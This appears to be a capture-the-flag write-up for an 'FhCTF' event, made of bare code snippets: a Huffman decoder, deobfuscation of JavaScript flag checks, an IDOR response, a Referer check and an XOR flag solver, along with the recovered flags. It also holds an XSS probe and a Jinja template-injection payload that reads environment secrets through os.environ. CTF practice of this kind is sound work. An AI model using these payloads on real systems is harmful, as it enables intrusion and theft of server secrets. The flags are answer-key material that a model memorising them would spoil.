1
import json
2
import re
3
from pathlib import Path
4
from typing import Any, Optional
5

6
def is_leaf(node: Any) -> bool:
7
    """判斷是否為葉節點（可直接輸出字元/符號）。"""
8
    if node is None:
9
        return False
10
    if isinstance(node, str):
11
        return True
12
    if isinstance(node, (int, float)):
13
        return True
14
    if isinstance(node, dict):
15
        # 常見葉節點欄位：symbol/char/value（或你題目作者想到什麼就塞什麼）
16
        for k in ("symbol", "char", "value", "leaf", "data"):
17
            if k in node and not isinstance(node[k], (dict, list)):
18
                return True
19
    return False
20

21
def leaf_value(node: Any) -> str:
22
    """從葉節點取出要輸出的字元/符號。"""
23
    if isinstance(node, str):
24
        return node
25
    if isinstance(node, (int, float)):
26
        return str(node)
27
    if isinstance(node, dict):
28
        for k in ("symbol", "char", "value", "leaf", "data"):
29
            if k in node and not isinstance(node[k], (dict, list)):
30
                return str(node[k])
31
    # 真的取不到就暴力印出（通常不會走到這）
32
    return str(node)
33

34
def get_child(node: Any, bit: str) -> Optional[Any]:
35
    """
36
    取下一個節點。
37
    支援幾種常見 Huffman JSON 結構：
38
      1) {"0": left, "1": right}
39
      2) {"left": left, "right": right} 或 {"l":..., "r":...}
40
      3) {"children": [left, right]} 或 {"children": {"0":..., "1":...}}
41
    """
42
    if node is None:
43
        return None
44

45
    # 直接用 bit 當 key 的版本
46
    if isinstance(node, dict) and bit in node:
47
        return node[bit]
48

49
    if isinstance(node, dict):
50
        if bit == "0":
51
            for k in ("left", "l", "L"):
52
                if k in node:
53
                    return node[k]
54
        else:
55
            for k in ("right", "r", "R"):
56
                if k in node:
57
                    return node[k]
58

59
        if "children" in node:
60
            ch = node["children"]
61
            if isinstance(ch, list) and len(ch) >= 2:
62
                return ch[0] if bit == "0" else ch[1]
63
            if isinstance(ch, dict) and bit in ch:
64
                return ch[bit]
65

66
    # 有些人喜歡用 list 當節點： [left, right]
67
    if isinstance(node, list) and len(node) >= 2:
68
        return node[0] if bit == "0" else node[1]
69

70
    return None
71

72
def decode(bits: str, tree: Any) -> str:
73
    bits = re.sub(r"[^01]", "", bits)  # 去掉換行/空白/奇怪符號
74
    out = []
75
    cur = tree
76

77
    for i, b in enumerate(bits, 1):
78
        nxt = get_child(cur, b)
79
        if nxt is None:
80
            raise ValueError(f"走到不存在的分支：第 {i} 位元是 {b}，目前節點={cur!r}")
81

82
        cur = nxt
83
        if is_leaf(cur):
84
            out.append(leaf_value(cur))
85
            cur = tree  # 回到根節點繼續
86

87
    # 如果最後停在非根且非葉，代表 bits 可能被截斷
88
    return "".join(out)
89

90
def main():
91
    tree_path = Path("huffman_tree.json")
92
    bits_path = Path("encoded_gift.txt")
93

94
    tree = json.loads(tree_path.read_text(encoding="utf-8"))
95
    bits = bits_path.read_text(encoding="utf-8")
96

97
    msg = decode(bits, tree)
98
    print(msg)
99

100
    # 額外幫你挖 flag（有就印，沒有就算了）
101
    m = re.search(r"FhCTF\{[^}]+\}", msg)
102
    if m:
103
        print("\n[FLAG]", m.group(0))
104

105
if __name__ == "__main__":
106
    main()

1
const _secureStr = loadSystemParams();

1
<div id="sys-config"
2
 data-params="249|351|240|291|249|408|288|387|369|192|330|366|324|240|186|375|351|192|375|414">
3
</div>

1
let charCode = (n / 3) - 13;
2
buffer += String.fromCharCode(charCode);

1
FhCTF{Stn3am_C1ph3p}

1
window.onload = function() {
2
            const _base = parseInt("32", 16);
3
            const _kMap = {
4
                x: _base << 1,
5
                y: _base,
6
                z: _base << 2
7
            };

1
 const door = document.getElementById('door');
2
    const messageEl = document.getElementById('message');
3
    const doorContainer = document.getElementById('doorContainer');
4

5
    let isOpening = false;
6

7
    doorContainer.addEventListener('click', async () => {
8
        if (isOpening) return;
9
        isOpening = true;
10

11
        // Start animation
12
        door.classList.add('open');
13

14
        // Wait 5 seconds
15
        await new Promise(r => setTimeout(r, 5000));
16

17
        // Fetch API
18
        try {
19
            const response = await fetch(`/api/doors/1`);
20
            const data = await response.json();
21

22
            if (data.correct) {
23
                messageEl.textContent = `正確！\n${data.message}`;
24
                messageEl.style.color = 'green';
25
            } else {
26
                messageEl.textContent = `錯誤！\n${data.message}`;
27
                messageEl.style.color = 'red';
28
            }
29
            messageEl.classList.remove('opacity-0');
30
        } catch (e) {
31
            console.error(e);
32
            messageEl.textContent = "發生錯誤";
33
            messageEl.classList.remove('opacity-0');
34
        }
35
    });
36
</script>

1
{"correct":true,"message":"這是正確的門！\nFlag: FhCTF{IDOR_get_the_s3cr3t_infom47i0n}"}

1
{{7*7}}
2
<script>alert('XSS');</script>

1
\u007b\u007b cycler.__init__.__globals__.os.environ.get('FLAG') \u007d\u007d

1
"/flag.html": {
2
      "get": {
3
        "summary": "Flag Question Mark Page",
4
        "operationId": "flag_question_mark_page_flag_html_get",
5
        "parameters": [
6
          {
7
            "name": "referer",
8
            "in": "header",
9
            "required": false,
10
            "schema": {
11
              "anyOf": [
12
                {
13
                  "type": "string"
14
                },
15
                {
16
                  "type": "null"
17
                }
18
              ],
19
              "description": "Referer Checker\nWe will check you whether coming from localhost.app:8000/index.html, with secure HTTP protocol.",
20
              "title": "Referer"
21
            },
22
            "description": "Referer Checker\nWe will check you whether coming from localhost.app:8000/index.html, with secure HTTP protocol."
23
          }
24
        ],
25
        "responses": {
26
          "200": {
27
            "description": "Successful Response",
28
            "content": {
29
              "application/json": {
30
                "schema": {
31

32
                }
33
              }
34
            }
35
          }

1
"description": "Referer Checker\nWe will check you whether coming from localhost.app:8000/index.html, with secure HTTP protocol."

1
       function access() {
2
            const input = document.getElementById('p_in').value;
3
            const output = document.getElementById('v_out');
4

5
            const _h = [70, 104, 67, 84, 70].map(c => String.fromCharCode(c)).join('');
6

7

8
            const _c1 = "\x50\x61\x74\x68\x5f";
9
            const _c2 = (21337 >> 4).toString(16);
10
            const _c3 = "\x54\x72\x34\x76";
11

12
            const check1 = input.split('.').length > 3;
13
            const check2 = input.toLowerCase().indexOf('flag') !== -1;
14

15
            if (check1 && check2) {
16
                const final = _h + "{" + _c1 + _c3 + "_" + _c2 + "}";
17
                output.innerText = "ACCESS_GRANTED:\n" + final;
18
                output.className = "bg-black p-4 border border-green-500 h-32 overflow-auto text-xs text-green-500 font-bold";
19
            } else {
20
                output.innerText = "ACCESS_DENIED: Path traversal attempt detected or invalid path.";
21
                output.className = "bg-black p-4 border border-red-900 h-32 overflow-auto text-xs text-red-800";
22
            }

1
const check1 = input.split('.').length > 3;
2
const check2 = input.toLowerCase().indexOf('flag') !== -1;

1
const _h = [70, 104, 67, 84, 70].map(c => String.fromCharCode(c)).join('');
2
const _c1 = "\x50\x61\x74\x68\x5f";
3
const _c2 = (21337 >> 4).toString(16);
4
const _c3 = "\x54\x72\x34\x76";

1
const final = _h + "{" + _c1 + _c3 + "_" + _c2 + "}"

1
3e08772c224960093145070318575a0e741e050c7a2d745a1b6f5a0d5834322b

1
key = [85, 51, 102, 17]
2
expected = [7,2,20,40,47,74,97,92,32,111,21,54,83,26,113,129,132,127,37,116,140,106,101,126,87,54]
3
inner = ''.join(chr((expected[i] - 2*i) ^ key[i % 4]) for i in range(26))
4
flag = f"FhCTF{{{inner}}}"
5
print(flag)